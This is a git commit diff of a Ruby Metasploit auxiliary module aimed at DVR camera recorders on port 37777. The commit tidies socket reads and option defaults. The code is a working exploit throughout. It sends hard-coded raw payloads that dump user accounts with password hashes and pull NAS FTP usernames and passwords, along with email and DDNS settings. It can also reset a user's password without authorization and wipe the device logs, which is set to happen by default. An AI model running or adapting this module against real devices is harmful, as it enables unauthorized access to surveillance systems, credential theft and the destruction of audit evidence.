changed sock.get to sock.get_once and fixed booleans hopefully. Still cleaning things up but its getting closer
parent
a8887e6b77
commit
0d89dde4a6
|
@ -22,15 +22,15 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
OptString.new('USERNAME', [true, 'A username to reset', '888888']),
|
OptString.new('USERNAME', [true, 'A username to reset', '888888']),
|
||||||
OptString.new('PASSWORD', [false, 'A password to reset the user with, if not set a random pass will be generated.']),
|
OptString.new('PASSWORD', [false, 'A password to reset the user with, if not set a random pass will be generated.']),
|
||||||
OptBool.new('VERSION_INFO', ['false', 'Grabs the version of DVR', 'FALSE']),
|
OptBool.new('VERSION_INFO', ['false', 'Grabs the version of DVR', 'FALSE']),
|
||||||
OptBool.new('EMAIL_INFO', ['false', 'Grabs the email settings of the DVR', 'TRUE']),
|
OptBool.new('EMAIL_INFO', ['false', 'Grabs the email settings of the DVR', 'FALSE']),
|
||||||
OptBool.new('DDNS_INFO', ['false', 'Grabs the DDNS settings of the DVR', 'TRUE']),
|
OptBool.new('DDNS_INFO', ['false', 'Grabs the DDNS settings of the DVR', 'FALSE']),
|
||||||
OptBool.new('SN_INFO', ['false', 'Grabs the SN of the DVR', 'FALSE']),
|
OptBool.new('SN_INFO', ['false', 'Grabs the SN of the DVR', 'FALSE']),
|
||||||
OptBool.new('CHANNEL_INFO', ['false', 'Grabs the cameras and their assigned name', 'FALSE']),
|
OptBool.new('CHANNEL_INFO', ['false', 'Grabs the cameras and their assigned name', 'FALSE']),
|
||||||
OptBool.new('NAS_INFO', ['false', 'Grabs the NAS settings of the DVR','TRUE']),
|
OptBool.new('NAS_INFO', ['false', 'Grabs the NAS settings of the DVR', 'FALSE']),
|
||||||
OptBool.new('USER_INFO', ['false', 'Grabs the Users and hashes of the DVR', 'TRUE']),
|
OptBool.new('USER_INFO', ['true', 'Grabs the Users and hashes of the DVR', 'TRUE']),
|
||||||
OptBool.new('GROUP_INFO', ['false', 'Grabs the Users and groups of the DVR', 'FALSE']),
|
OptBool.new('GROUP_INFO', ['false', 'Grabs the Users and groups of the DVR', 'FALSE']),
|
||||||
OptBool.new('RESET', [false, 'Reset an existing user\'s pw?', 'FALSE']),
|
OptBool.new('RESET', [false, %q(Reset an existing user's pw?), 'FALSE']),
|
||||||
OptBool.new('CLEAR_LOGS', [false, 'Clear the DVR logs when we\'re done?', 'TRUE']),
|
OptBool.new('CLEAR_LOGS', [true, %q(Clear the DVR logs when we're done?), 'TRUE']),
|
||||||
Opt::RPORT(37777)
|
Opt::RPORT(37777)
|
||||||
])
|
])
|
||||||
end
|
end
|
||||||
|
@ -38,24 +38,33 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
U1 = "\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
U1 = "\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
||||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
DVR_RESP = "\xb1\x00\x00\x58\x00\x00\x00\x00"
|
DVR_RESP = "\xb1\x00\x00\x58\x00\x00\x00\x00"
|
||||||
|
# Payload to grab version of the DVR
|
||||||
VERSION = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \
|
VERSION = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \
|
||||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
# Payload to grab Email Settings of the DVR
|
||||||
EMAIL = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
|
EMAIL = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
|
||||||
"\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
"\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
# Payload to grab DDNS Settings of the DVR
|
||||||
DDNS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
|
DDNS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
|
||||||
"\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
"\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
# Payload to grab NAS Settings of the DVR
|
||||||
NAS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
|
NAS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
|
||||||
"\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
"\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
# Payload to grab the Channels that each camera is assigned to on the DVR
|
||||||
CHANNELS = "\xa8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
CHANNELS = "\xa8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
||||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
||||||
"\xa8\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" \
|
"\xa8\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" \
|
||||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
# Payload to grab the Users Groups of the DVR
|
||||||
GROUPS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00" \
|
GROUPS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00" \
|
||||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
# Payload to grab the Users and their hashes from the DVR
|
||||||
USERS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \
|
USERS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \
|
||||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
# Payload to grab the Serial Number of the DVR
|
||||||
SN = "\xa4\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" \
|
SN = "\xa4\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" \
|
||||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
# Payload to clear the logs of the DVR
|
||||||
CLEAR_LOGS1 = "\x60\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00" \
|
CLEAR_LOGS1 = "\x60\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00" \
|
||||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
CLEAR_LOGS2 = "\x60\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \
|
CLEAR_LOGS2 = "\x60\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \
|
||||||
|
@ -69,7 +78,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
def grab_version
|
def grab_version
|
||||||
connect
|
connect
|
||||||
sock.put(VERSION)
|
sock.put(VERSION)
|
||||||
data = sock.get(1024)
|
data = sock.get_once
|
||||||
if data =~ /[\x00]{8,}([[:print:]]+)/
|
if data =~ /[\x00]{8,}([[:print:]]+)/
|
||||||
ver = Regexp.last_match[1]
|
ver = Regexp.last_match[1]
|
||||||
print_status("Version: #{ver} @ #{rhost}:#{rport}!")
|
print_status("Version: #{ver} @ #{rhost}:#{rport}!")
|
||||||
|
@ -78,7 +87,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
def grab_sn
|
def grab_sn
|
||||||
sock.put(SN)
|
sock.put(SN)
|
||||||
data = sock.get(1024)
|
data = sock.get_once
|
||||||
if data =~ /[\x00]{8,}([[:print:]]+)/
|
if data =~ /[\x00]{8,}([[:print:]]+)/
|
||||||
serial = Regexp.last_match[1]
|
serial = Regexp.last_match[1]
|
||||||
print_status("Serial Number: #{serial} @ #{rhost}:#{rport}!")
|
print_status("Serial Number: #{serial} @ #{rhost}:#{rport}!")
|
||||||
|
@ -88,7 +97,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
def grab_email
|
def grab_email
|
||||||
connect
|
connect
|
||||||
sock.put(EMAIL)
|
sock.put(EMAIL)
|
||||||
if data = sock.get(1024).split('&&')
|
if data = sock.get_once.split('&&')
|
||||||
print_status("Email Settings: @ #{rhost}:#{rport}!")
|
print_status("Email Settings: @ #{rhost}:#{rport}!")
|
||||||
if data[0] =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?(?:\.[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?)*\.?+:\d+)/
|
if data[0] =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?(?:\.[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?)*\.?+:\d+)/
|
||||||
if mailhost = Regexp.last_match[1].split(':')
|
if mailhost = Regexp.last_match[1].split(':')
|
||||||
|
@ -113,7 +122,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
def grab_ddns
|
def grab_ddns
|
||||||
connect
|
connect
|
||||||
sock.put(DDNS)
|
sock.put(DDNS)
|
||||||
if data = sock.get(1024)
|
if data = sock.get_once
|
||||||
data = data.split(/&&[0-1]&&/)
|
data = data.split(/&&[0-1]&&/)
|
||||||
data.each_with_index do |val, index|
|
data.each_with_index do |val, index|
|
||||||
if index > 0
|
if index > 0
|
||||||
|
@ -142,7 +151,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
def grab_nas
|
def grab_nas
|
||||||
connect
|
connect
|
||||||
sock.put(NAS)
|
sock.put(NAS)
|
||||||
if data = sock.get(1024)
|
if data = sock.get_once
|
||||||
print_status("Nas Settings @ #{rhost}:#{rport}!:")
|
print_status("Nas Settings @ #{rhost}:#{rport}!:")
|
||||||
server = ''
|
server = ''
|
||||||
port = ''
|
port = ''
|
||||||
|
@ -152,9 +161,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
print_status(" Nas Server #{server}")
|
print_status(" Nas Server #{server}")
|
||||||
print_status(" Nas Port: #{port}")
|
print_status(" Nas Port: #{port}")
|
||||||
end
|
end
|
||||||
if data =~ /[\x00]{16,}([[:print:]]+)[\x00]{16,}([[:print:]]+)/
|
if data =~ /[\x00]{16,}(?<ftpuser>[[:print:]]+)[\x00]{16,}(?<ftppass>[[:print:]]+)/
|
||||||
ftpuser = Regexp.last_match[1]
|
|
||||||
ftppass = Regexp.last_match[2]
|
|
||||||
print_good(" FTP User: #{ftpuser}")
|
print_good(" FTP User: #{ftpuser}")
|
||||||
print_good(" FTP Password: #{ftppass}")
|
print_good(" FTP Password: #{ftppass}")
|
||||||
if !ftpuser.to_s.strip.length == 0 && ftppass.to_s.strip.length == 0
|
if !ftpuser.to_s.strip.length == 0 && ftppass.to_s.strip.length == 0
|
||||||
|
@ -173,7 +180,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
def grab_channels
|
def grab_channels
|
||||||
connect
|
connect
|
||||||
sock.put(CHANNELS)
|
sock.put(CHANNELS)
|
||||||
data = sock.get(1024).split('&&')
|
data = sock.get_once.split('&&')
|
||||||
disconnect
|
disconnect
|
||||||
if data.length > 1
|
if data.length > 1
|
||||||
print_status("Camera Channels @ #{rhost}:#{rport}!:")
|
print_status("Camera Channels @ #{rhost}:#{rport}!:")
|
||||||
|
@ -185,7 +192,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
usercount = 0
|
usercount = 0
|
||||||
connect
|
connect
|
||||||
sock.put(USERS)
|
sock.put(USERS)
|
||||||
if data = sock.get(1024).split('&&')
|
if data = sock.get_once.split('&&')
|
||||||
print_status("Users\\Hashed Passwords\\Rights\\Description: @ #{rhost}:#{rport}!")
|
print_status("Users\\Hashed Passwords\\Rights\\Description: @ #{rhost}:#{rport}!")
|
||||||
data.each do |val|
|
data.each do |val|
|
||||||
usercount += 1
|
usercount += 1
|
||||||
|
@ -214,7 +221,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
def grab_groups
|
def grab_groups
|
||||||
connect
|
connect
|
||||||
sock.put(GROUPS)
|
sock.put(GROUPS)
|
||||||
if data = sock.get(1024).split('&&')
|
if data = sock.get_once.split('&&')
|
||||||
print_status("User Groups: @ #{rhost}:#{rport}!")
|
print_status("User Groups: @ #{rhost}:#{rport}!")
|
||||||
data.each { |val| print_status(" #{val[/(([\d]+)[:]([\w]+))/]}") }
|
data.each { |val| print_status(" #{val[/(([\d]+)[:]([\w]+))/]}") }
|
||||||
end
|
end
|
||||||
|
@ -231,9 +238,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
sock.put(u1)
|
sock.put(u1)
|
||||||
sock.put(u2)
|
sock.put(u2)
|
||||||
sock.put(u3)
|
sock.put(u3)
|
||||||
data = sock.get(1024)
|
data = sock.get_once
|
||||||
sock.put(u1)
|
sock.put(u1)
|
||||||
if data = sock.get(1024)
|
if data = sock.get_once
|
||||||
print_good("PASSWORD RESET!: user #{datastore['USERNAME']}'s password reset to #{datastore['PASSWORD']}! @ #{rhost}:#{rport}!")
|
print_good("PASSWORD RESET!: user #{datastore['USERNAME']}'s password reset to #{datastore['PASSWORD']}! @ #{rhost}:#{rport}!")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue